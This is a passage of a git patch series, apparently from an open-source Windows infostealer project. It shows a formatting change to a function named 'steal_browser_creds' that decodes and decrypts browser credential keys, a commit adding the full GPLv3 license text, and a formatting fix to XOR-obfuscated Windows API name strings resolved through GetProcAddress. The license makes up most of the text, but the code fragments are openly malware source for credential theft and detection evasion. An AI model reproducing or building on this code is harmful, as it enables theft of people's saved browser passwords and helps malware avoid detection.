0, + &DataOutput)) { #ifdef DEBUG fprintf(stderr, "Failed decrypting key. Error code: %lu\n", GetLastError()); #endif @@ -252,16 +254,16 @@ static int steal_browser_creds(BrowserInfo browser, Credential *credTab, size_t encryptedKeySize = 0; BYTE *encryptedKey; - if (decode_key(encodedKey, &encryptedKey, &encryptedKeySize,&apis) != + if (decode_key(encodedKey, &encryptedKey, &encryptedKeySize, &apis) != EXIT_SUCCESS) { #ifdef DEBUG printf("Could not decode %ls\n", encodedKey); #endif return EXIT_FAILURE; } - + DATA_BLOB decryptedBlob; - if (decrypt_key(encryptedKey, encryptedKeySize, &decryptedBlob,&apis) != + if (decrypt_key(encryptedKey, encryptedKeySize, &decryptedBlob, &apis) != EXIT_SUCCESS) { #ifdef DEBUG fprintf(stderr, "Could not decrypt key\n"); From 07b2eaacf5a4c46485ae818b49c206d55e5b4d93 Mon Sep 17 00:00:00 2001 From: ErrorTeaPot Date: Wed, 7 May 2025 09:43:12 +0200 Subject: [PATCH 48/49] Add license --- LICENSE | 674 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 674 insertions(+) create mode 100644 LICENSE diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. From 65872283cdc870d5d5f113e7417086e0eaf1acc8 Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Wed, 7 May 2025 08:24:48 +0000 Subject: [PATCH 49/49] fix formatting --- src/obfuscation.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/obfuscation.c b/src/obfuscation.c index aef06d5..1c0cd00 100644 --- a/src/obfuscation.c +++ b/src/obfuscation.c @@ -76,8 +76,8 @@ char SHGetKnownFolderPath_str[] = "\x79\x62\x6d\x4f\x5e\x61\x44\x45\x5d\x44\x6c\x45\x46\x4e\x4f\x58\x7a\x4b" "\x5e\x42"; XOR_STR(SHGetKnownFolderPath_str, strlen(SHGetKnownFolderPath_str));*/ - // apis->funcLoadLibraryA = - //(PLoadLibraryA)GetProcAddress(hKernel32, loadLibA_str); - // apis->funcSHGetKnownFolderPath = (PSHGetKnownFolderPath)GetProcAddress( - // hKernel32, SHGetKnownFolderPath_str); +// apis->funcLoadLibraryA = +//(PLoadLibraryA)GetProcAddress(hKernel32, loadLibA_str); +// apis->funcSHGetKnownFolderPath = (PSHGetKnownFolderPath)GetProcAddress( +// hKernel32, SHGetKnownFolderPath_str); }